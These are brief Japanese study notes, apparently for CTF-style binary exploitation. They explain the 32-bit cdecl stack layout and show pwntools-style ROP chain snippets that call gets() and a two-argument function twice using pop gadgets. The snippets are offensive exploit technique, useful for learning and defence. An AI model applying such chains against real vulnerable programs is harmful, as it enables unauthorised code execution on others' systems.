calling conventionはcdeclが使われる.

void some_func(int v1, int v2);

high addr v2
v1
帰る時のret addr
前のebp
local variables
low addr

どう組むか?

gets(buf)を2回呼ぶなら,

rop.raw(p32(elf.sym['gets'])) rop.raw(p32(pop_one)) rop.raw(p32(buf))

rop.raw(p32(elf.sym['gets'])) rop.raw(p32(pop_one)) # この後がどうでもいいなら適当な4bytesでいい rop.raw(p32(buf))

aaa(A, B)を2回呼ぶなら

rop.raw(p32(elf.sym['aaa'])) rop.raw(p32(pop_two)) rop.raw(p32(A))

rop.raw(p32(B))

rop.raw(p32(elf.sym['aaa '])) rop.raw(p32(pop_two)) # この後がどうでもいいなら適当な4bytesでいい rop.raw(p32(A))

rop.raw(p32(B))